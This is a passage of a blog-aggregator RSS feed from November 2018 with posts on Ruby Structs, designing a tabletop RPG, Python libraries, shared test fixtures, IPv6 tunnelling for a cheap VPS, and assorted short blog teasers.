&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can use our easier-to-read code for selecting all in-progress events, or ignoring all of those. Or if we just want to grab all finished events, we now have a method to call—&lt;code&gt;Event#finished?&lt;/code&gt;—that conveys the intent of what it returns without having to look up the data structure of the hash to work out if that field is a &lt;code&gt;String&lt;/code&gt; or &lt;code&gt;Boolean&lt;/code&gt;.&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;For super-powered structs, you don&amp;rsquo;t even need to assign them to a &lt;code&gt;Constant&lt;/code&gt;. You can just assign them to normal variables and use them locally in that scope without needing to define a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Grabber&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;call&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;alias_method&lt;/span&gt; &lt;span class="ss"&gt;:success?&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:success&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;grab_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kp"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;ll handily return you an object you can interrogate for &lt;code&gt;success?&lt;/code&gt; and ask for the &lt;code&gt;output&lt;/code&gt; if it was successful. And no Constants were created in the making of this method. 🎉&lt;/p&gt;
&lt;p&gt;Keep an eye out for where you can Struct-ure your data. It might be more often than you expect.&lt;/p&gt;
&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;It would always returns &lt;code&gt;true&lt;/code&gt; - &lt;code&gt;!nil&lt;/code&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;That&amp;rsquo;s &lt;code&gt;events.select(&amp;amp;:in_progress?)&lt;/code&gt; for the golfers amongst you.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;&lt;code&gt;…?&lt;/code&gt; methods in ruby are truthy/falsy by convention.&amp;#160;&lt;a class="footnote-backref" href="#fnref:3"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Caius Theory</author><pubDate>Fri, 09 Nov 2018 02:31:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/struct-uring-your-data/</guid></item><item><title>On Migrating from Wordpress to Static Markdown</title><link>https://thomashunter.name/posts/2018-11-09-migrating-from-wordpress-to-static-markdown</link><author>Thomas Hunter II</author><pubDate>Fri, 09 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-11-09-migrating-from-wordpress-to-static-markdown</guid></item><item><title>Designing an OSR Game Part 2: Freeholds and Fatality</title><link>https://benovermyer.com/blog/2018/11/designing-an-osr-game-part-2/</link><description>&lt;p&gt;This is part two of a series on a new Old School Renaissance tabletop role-playing game that I'm designing. You can read part one over here.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://benovermyer.com/blog/2018/10/designing-a-new-osr-game/"&gt;Designing a New OSR Game&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="freeholds-backdrop-for-adventure"&gt;Freeholds: Backdrop For Adventure&lt;/h1&gt;
&lt;p&gt;I'll get back to character creation in a bit. For a moment, I want to focus on another aspect of gameplay. After creating your characters, your group will need to create your Freehold. In the context of the game, a Freehold is an independent town of moderate size. It's self-sufficient, and large enough to be able to supply plenty of new characters should/when your original characters die. It's also large enough to have multiple concerns beyond simple survival.&lt;/p&gt;
&lt;p&gt;Freeholds are living communities. When creating your Freehold, you roll for or choose its Assets, Pillars, Authorities, and Tensions. Each of these helps determine the fabric of the community your party is devoted to. They also change over time, not just in reaction to what your party does, but also in accordance with the community's own character and how it interacts with other Freeholds.&lt;/p&gt;
&lt;p&gt;Assets are things that enhance a Freehold's abilities. They could include things like herds of cattle, skilled artisans, well-trained city guard, and so on.&lt;/p&gt;
&lt;p&gt;Pillars are things that form the bedrock of the community, and would exist even without the Freehold itself. They could include things like gold mines, permanent magical spells, a calm natural harbor, and so on.&lt;/p&gt;
&lt;p&gt;Authorities are things that drive the action of the community. They could include things like a major temple, a hereditary dukedom, a merchant guild, and so on.&lt;/p&gt;
&lt;p&gt;Tensions are things that both drive the action of the community and constantly threaten to change its nature. They could include things like a religious divide, feuding noble families, a quarrel between guilds, and so on.&lt;/p&gt;
&lt;p&gt;Each of these four facets of your Freehold help determine what is available to your characters at any given time, and what potential adventures your characters might be a part of. They also give your characters a reason to be invested in your community.&lt;/p&gt;
&lt;h1 id="fatality-death-is-a-constant"&gt;Fatality: Death Is A Constant&lt;/h1&gt;
&lt;p&gt;This world is dangerous. While the worst of the apocalyptic chaos is over, your characters will still need to deal with major threats. They may not be able to do it alone. And even when successful, the cost may be high.&lt;/p&gt;
&lt;p&gt;Like games from the first age of role-playing, death in this one is easy to come by. Characters don't get much more individually powerful over time. This makes banding together far more important. This also drives the necessity for character creation to be quick and painless, so that when a player's character meets an untimely end, he can roll up a new one on the spot.&lt;/p&gt;
&lt;p&gt;Unlike some popular fantasy role-playing games, death is more than just a speed bump in this game. Resurrections are so rare as to be legendary, and perhaps even feared. Necromancy is more common, but not without a terrible price.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Fri, 09 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/11/designing-an-osr-game-part-2/</guid></item><item><title>Digital nomading in October in Thessaloniki, Greece</title><link>https://stribny.name/posts/digital-nomading-in-october-in-thessaloniki-greece/</link><author>Posts by Petr Stribny</author><pubDate>Thu, 08 Nov 2018 18:33:44 GMT</pubDate><guid isPermaLink="true">https://stribny.name/posts/digital-nomading-in-october-in-thessaloniki-greece/</guid></item><item><title>Cool Python Libraries: TQDM and Resampy</title><link>https://bastibe.de/2018-11-08-cool-python-libraries.html</link><description>&lt;p&gt;In my recent post about &lt;a href="https://bastibe.de/2018-10-14-appreciation-for-open-source-and-commercial-software.html"&gt;appreciation for open source software&lt;/a&gt;, I mentioned that we should praise our open source heros more often. So here are two lesser-known libraries that I use daily, and which are unabashedly awesome:&lt;/p&gt;
&lt;h3&gt;&lt;a href="https://tqdm.github.io/"&gt;TQDM&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;TQDM draws text progress bars for long-running processes, simply by wrapping your iterator in &lt;code&gt;tqdm(iterator)&lt;/code&gt;. And this, alone, would be awesome. But, TQDM is one of those libraries that aren't just a good idea, but then go the extra mile, and add fantastic documentation, contingencies for all kinds of weird use cases, and integration with notebooks and GUIs.&lt;/p&gt;
&lt;p&gt;I use TQDM all the time, for running my scientific experiments and data analysis, and it just works. For long-running tasks, I recommend using &lt;code&gt;tqdm(iterator, smoothing=0, desc='calculating')&lt;/code&gt;, which adds a meaningful description to the progress bar, and an accurate runtime estimate.&lt;/p&gt;
&lt;h3&gt;&lt;a href="https://resampy.readthedocs.io/en/latest/"&gt;Resampy&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Resampy resamples numpy signals. Resample your data with &lt;code&gt;resample(signal, old_samplerate, new_samplerate)&lt;/code&gt;. Just like with TQDM, this simple interface hides a lot of complexity and flexibility under the hood, yet remains conceptually simple and easy to use.&lt;/p&gt;
&lt;p&gt;But beyond simplicity, resampy uses a clever implementation that is a far cry better than &lt;code&gt;scipy.signal.resample&lt;/code&gt;, while still being easy to install and fast. For a more thorough comparison of resampling algorithms, visit &lt;a href="https://signalsprocessed.blogspot.com/2016/08/audio-resampling-in-python.html"&gt;Joachim Thiemann's blog&lt;/a&gt;.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Thu, 08 Nov 2018 16:52:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-11-08-cool-python-libraries.html</guid></item><item><title>Wrapped in a blanket of brotherly love</title><link>https://rybakov.com/blog/wrapped/</link><description>&lt;p&gt;&lt;figure class="small"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_P2M0779b.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Wed, 07 Nov 2018 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/wrapped/</guid></item><item><title>Some important, appropriate digital developments across Africa</title><link>https://stop.zona-m.net/2018/11/some-important-appropriate-digital-developments-across-africa/</link><description>&lt;p&gt;This is &amp;ldquo;just&amp;rdquo; a short list of some digital communities and projects for sustainability and social development in Africa that I think everybody should know. I aim to follow this field much more regularly from now on.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 07 Nov 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/11/some-important-appropriate-digital-developments-across-africa/</guid></item><item><title>First steps running a Cloud Task on Spring Cloud Data Flow</title><link>https://www.planetjones.net/blog/07-11-2018/gcloud-run-with-micronaut-and-graal-vm.html</link><description>Everyone is talking cloud native. Spring might not be the newest kid on the block, but Spring Cloud Data Flow holds bags of promise. Here I give an introduction to Spring Cloud Data Flow and write my first Cloud Task.</description><author>Jonathan Jones homepage: planetjones.net</author><pubDate>Wed, 07 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.planetjones.net/blog/07-11-2018/gcloud-run-with-micronaut-and-graal-vm.html</guid></item><item><title>Shared base fixture</title><link>https://blog.gnoack.org/post/base_fixture</link><description>&lt;figure&gt;
&lt;div class="pikchr" id="pikchr-0"&gt;
&lt;div class="pikchr-svg"&gt;
&lt;svg viewBox="0 0 537.726 286.526" xmlns="http://www.w3.org/2000/svg"&gt;
&lt;polygon points="74.16,63.2636 62.64,67.5836 62.64,58.9436"&gt;
&lt;path d="M2.16,63.2636L68.4,63.2636"&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="38.16" y="51.5636"&gt;make&lt;/text&gt;
&lt;path d="M74.16,91.6101L159.199,91.6101L159.199,34.9172L74.16,34.9172Z"&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="116.68" y="53.1836"&gt;base&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="116.68" y="73.3436"&gt;case&lt;/text&gt;
&lt;polygon points="385.971,63.2636 374.451,67.5836 374.451,58.9436"&gt;
&lt;path d="M159.199,63.2636L380.211,63.2636"&gt;
&lt;path d="M385.971,91.6101L471.01,91.6101L471.01,34.9172L385.971,34.9172Z"&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="428.491" y="63.2636"&gt;result&lt;/text&gt;
&lt;path d="M159.199,176.649L244.239,176.649L244.239,119.957L159.199,119.957Z"&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="201.719" y="138.223"&gt;derived&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="201.719" y="158.383"&gt;case 1&lt;/text&gt;
&lt;path d="M159.199,261.689L244.239,261.689L244.239,204.996L159.199,204.996Z"&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="201.719" y="223.262"&gt;derived&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="201.719" y="243.422"&gt;case 2&lt;/text&gt;
&lt;path d="M385.971,176.649L471.01,176.649L471.01,119.957L385.971,119.957Z"&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="428.491" y="148.303"&gt;result&lt;/text&gt;
&lt;path d="M385.971,261.689L471.01,261.689L471.01,204.996L385.971,204.996Z"&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="428.491" y="233.342"&gt;result&lt;/text&gt;
&lt;polygon points="385.971,148.303 374.451,152.623 374.451,143.983"&gt;
&lt;path d="M244.239,148.303L380.211,148.303"&gt;
&lt;polygon points="385.971,233.342 374.451,237.662 374.451,229.022"&gt;
&lt;path d="M244.239,233.342L380.211,233.342"&gt;
&lt;path d="M116.68,91.6101L116.68,233.342"&gt;
&lt;polygon points="159.199,233.342 147.679,237.662 147.679,229.022"&gt;
&lt;path d="M116.68,233.342L153.439,233.342"&gt;
&lt;polygon points="159.199,148.303 147.679,152.623 147.679,143.983"&gt;
&lt;path d="M116.68,148.303L153.439,148.303"&gt;
&lt;path d="M266.916,12.24L266.916,284.366"&gt;
&lt;path d="M363.294,12.24L363.294,284.366"&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="43.1036"&gt;expect&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="63.2636"&gt;happy&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="83.4236"&gt;case&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="128.143"&gt;expect&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="148.303"&gt;corner&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="168.463"&gt;case 1&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="213.182"&gt;expect&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="233.342"&gt;corner&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="507.861" y="253.502"&gt;case 2&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="201.719" y="12.24"&gt;set up&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="428.491" y="12.24"&gt;verify result&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" x="315.105" y="12.24"&gt;exercise&lt;/text&gt;
&lt;text fill="rgb(0,0,0)" text-anchor="middle" transform="rotate(-90 116.68,162.476)" x="116.68" y="152.396"&gt;modify&lt;/text&gt;
&lt;/svg&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;figcaption&gt;A diagram of how different tests share common test setup with a shared base fixture&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Q&lt;/strong&gt;: How do you know you can trust your test set-up?&lt;br /&gt;
&lt;strong&gt;A&lt;/strong&gt;: You reuse a well-known test set up in every test.&lt;/p&gt;
&lt;h2 id="example-code"&gt;Example code&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;def test_simple():
  req = set_up_working_request()
  resp = invoke(req)
  assert resp.status == OK

def test_invalid_page_size():
  req = set_up_working_request()
  req.page_size = -5
  resp = invoke(req)
  assert resp.status == INVALID_ARGUMENT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the test,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We call &lt;code&gt;set_up_working_request()&lt;/code&gt; and we know this results in
&amp;ldquo;working&amp;rdquo; behavior.  Then we purposefully inject a defective
negative page size into the working request.&lt;/li&gt;
&lt;li&gt;We exercise the system under test in the same way.&lt;/li&gt;
&lt;li&gt;We expect a different result.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because the only difference in set up between &lt;code&gt;test_simple&lt;/code&gt; and
&lt;code&gt;test_invalid_page_size&lt;/code&gt; was in the differing page size, we can easily
reason that the different response status is resulting from just that.&lt;/p&gt;
&lt;h2 id="related-techniques"&gt;Related techniques&lt;/h2&gt;
&lt;p&gt;This works well together with these techniques:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Structure your test methods with &lt;strong&gt;separate set up, exercise and
verify phases&lt;/strong&gt;.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;explicit helper functions for set up&lt;/strong&gt; and possibly name them
according to expected behavior such as &amp;ldquo;working&amp;rdquo; in the example
above.&lt;/li&gt;
&lt;li&gt;Keep the shared &lt;strong&gt;set up code in test methods as short as
possible&lt;/strong&gt;, so that it&amp;rsquo;s easy to spot the equal parts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1:N&lt;/strong&gt;: Use one base scenario (e.g. &amp;ldquo;working&amp;rdquo;) and use its set up
as a base for multiple derived scenarios.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;This is called the &amp;ldquo;Four-Phase test&amp;rdquo; in the xUnit
test pattern book. (&lt;a href="https://martinfowler.com/books/meszaros.html"&gt;Meszaros07, p358&lt;/a&gt;)&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Blog on blog.gnoack.org</author><pubDate>Tue, 06 Nov 2018 08:44:44 GMT</pubDate><guid isPermaLink="true">https://blog.gnoack.org/post/base_fixture</guid></item><item><title>Working with vultr's ipv6-only instances</title><link>https://xenodium.com/working-with-vultrs-ipv6-only-instances</link><description>&lt;p&gt;Having recently read &lt;a href="https://www.amazon.co.uk/Transforming-Relationship-Achieving-Financial-Independence/dp/0143115766/"&gt;Your Money or Your Life&lt;/a&gt;, I've been cutting down on personal expenses wherever possible. Specially recurring expenses which include monthly charges from VPS hosting. Let's reduce those charges…&lt;/p&gt;
&lt;p&gt;My VPS needs are fairly small (mostly hobby and tinkering). &lt;a href="https://www.vultr.com/?ref=7579034"&gt;Vultr&lt;/a&gt;† has a plan for $2.50/month (not seen anything cheaper). The caveat for the price, you get ipv6 access only (ie. 0000:1111:2222:3333:4444:5555:6666:7777:8888).&lt;/p&gt;
&lt;p&gt;So far so good, but my ISP doesn't yet support ipv6:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ ping6 0000:1111:2222:3333:4444:5555:6666:7777:8888
$ ping6: UDP connect: No route to host
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fortunately, we can still work with ipv6 by using a tunnel (TIL about &lt;a href="https://tunnelbroker.net"&gt;Hurricane Electric's tunnel broker&lt;/a&gt;). After signing up and creating a tunnel, they conveniently show you &amp;quot;Example Configurations&amp;quot; from the &amp;quot;Tunnel Details&amp;quot; menu. In my case, macOS:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;ifconfig gif0 create
ifconfig gif0 tunnel &amp;lt;ipv4 client broker IP or DCHP internal IP&amp;gt; &amp;lt;ipv4 server IP&amp;gt;
ifconfig gif0 inet6 &amp;lt;ipv6 client broker IP&amp;gt; &amp;lt;ipv6 server IP&amp;gt; prefixlen 128
route -n add -inet6 default &amp;lt;ipv6 server IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: If behind router, use the DHCP internal IP.&lt;/p&gt;
&lt;p&gt;After configuring with ifconfig, all is good. Yay!&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ ping6 0000:1111:2222:3333:4444:5555:6666:7777:8888
PING6(56=40+8+8 bytes) 2001:111:22:aaa::2 --&amp;gt; 0000:1111:2222:3333:4444:5555:6666:7777:8888
16 bytes from 0000:1111:2222:3333:4444:5555:6666:7777:8888, icmp_seq=0 hlim=52 time=270.019 ms
16 bytes from 0000:1111:2222:3333:4444:5555:6666:7777:8888, icmp_seq=1 hlim=52 time=290.834 ms
16 bytes from 0000:1111:2222:3333:4444:5555:6666:7777:8888, icmp_seq=2 hlim=52 time=311.960 ms
16 bytes from 0000:1111:2222:3333:4444:5555:6666:7777:8888, icmp_seq=3 hlim=52 time=330.902 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I'm an ipv6 noob. I mostly need ssh access. My typical usages need small tweaks.&lt;/p&gt;
&lt;p&gt;For ssh:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;ssh -6 username@0000:1111:2222:3333:4444:5555:6666:7777:8888
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For scp:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;scp -6 file.txt username@\[0000:1111:2222:3333:4444:5555:6666:7777:8888\]:/remote/dir/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;† I get $10 credit if you use this affiliate link. Thank you.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 06 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/working-with-vultrs-ipv6-only-instances</guid></item><item><title>The art of Sales, (Not So) Secrets from Old School Marketers</title><link>https://ferrucc.io/posts/old-school-marketers/</link><description>&lt;p&gt;Marketing on the internet isn&amp;rsquo;t much different from Marketing on any other medium.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s go back a hundred years to get some inspiration.&lt;/p&gt;
&lt;h2 id="inspiration-from-the-1920s"&gt;Inspiration from the 1920s&lt;/h2&gt;
&lt;p&gt;After selling &lt;strong&gt;100 million books&lt;/strong&gt; of his series Little Blue Book marketer &lt;a href="https://en.wikipedia.org/wiki/E._Haldeman-Julius"&gt;Julius Hadleman&lt;/a&gt; wrote a book analysing all the data he had collected.&lt;/p&gt;
&lt;p&gt;The book title is &amp;ldquo;The First Hundred Million&amp;rdquo; and it came out in 1928 (email me if you need help finding it) and features an interesting collection of proven Titles that work and insights on what we&amp;rsquo;re interested in reading.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Mon, 05 Nov 2018 12:44:01 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/old-school-marketers/</guid></item><item><title>Bad Blood: Secrets and Lies in a Silicon Valley Startup</title><link>https://olshansky.info/book/bad_blood/</link><description>Olshansky's review of Bad Blood: Secrets and Lies in a Silicon Valley Startup by John Carreyrou</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 05 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/bad_blood/</guid></item><item><title>Thunderbolts and Lightning</title><link>https://xavd.id/blog/post/thunderbolts-and-lightning/</link><description>In which a surge protector does not protect as much as is expected&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/thunderbolts-and-lightning/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Mon, 05 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/thunderbolts-and-lightning/</guid></item><item><title>Networking Essentials: Software Defined Networking</title><link>https://www.swyx.io/networking-essentials-software-defined-networking-35n9</link><description>&lt;p&gt;Why Software Defined Networking is taking the networking world by storm&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sun, 04 Nov 2018 23:11:45 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-software-defined-networking-35n9</guid></item><item><title>Why do you still propose to regulate, break or clone Facebook, Google &amp;amp; C.?</title><link>https://stop.zona-m.net/2018/11/why-do-you-still-propose-to-regulate-break-or-clone-facebook-google/</link><description>&lt;p&gt;In the last months, I have seen several experts suggest three kinds of solutions to the problems created by today&amp;rsquo;s social networks. Here I suggest, again, that those solutions are wrong, and then make a request.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 04 Nov 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/11/why-do-you-still-propose-to-regulate-break-or-clone-facebook-google/</guid></item><item><title>Shaving bookmarks</title><link>https://xenodium.com/shaving-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.independent.co.uk/extras/indybest/fashion-beauty/mens-grooming/best-safety-razors-for-beginners-sensitive-skin-10111508.html"&gt;8 best safety razors (The Independent)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 04 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/shaving-bookmarks</guid></item><item><title>Buy it for life bookmarks</title><link>https://xenodium.com/buy-it-for-life-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.fjallraven.com"&gt;Fjällräven jackets&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.etsy.com/uk/market/gillette_slim"&gt;Gillette slim (Etsy)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 04 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/buy-it-for-life-bookmarks</guid></item><item><title>The Monster in the Basement</title><link>https://thomashunter.name/posts/2018-11-04-the-monster-in-the-basement</link><author>Thomas Hunter II</author><pubDate>Sun, 04 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-11-04-the-monster-in-the-basement</guid></item><item><title>The Guten, the Berg, and the Ugly</title><link>https://blog.samuellevy.com/post/56-the-guten-the-berg-and-the-ugly.html</link><description>&lt;p&gt;&lt;em&gt;&lt;strong&gt;Or: How I learned to stop worrying, and &lt;span class="st"&gt;love&lt;/span&gt; &lt;span class="st"&gt;like&lt;/span&gt; accept Gutenberg.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;For those not in the loop, Gutenberg is the controversial new editor for WordPress. Despite not using WordPress on &lt;em&gt;this&lt;/em&gt; blog, for reasons poorly explained elsewhere, I &lt;em&gt;do&lt;/em&gt; use WordPress for client work. With Gutenberg becoming the default editor in the fast-approaching version 5.0 of WordPress, I figured that I should install the plugin version, and at least try to understand what it's all about.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Why a new editor?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Because the old editor is crap.&lt;/p&gt;&lt;p&gt;Ok, now that I've offended everyone, it's not &lt;em&gt;crap&lt;/em&gt;, but it's also not sufficient for b…&lt;/p&gt;</description><author>Sam says you should read this</author><pubDate>Sat, 03 Nov 2018 11:58:47 GMT</pubDate><guid 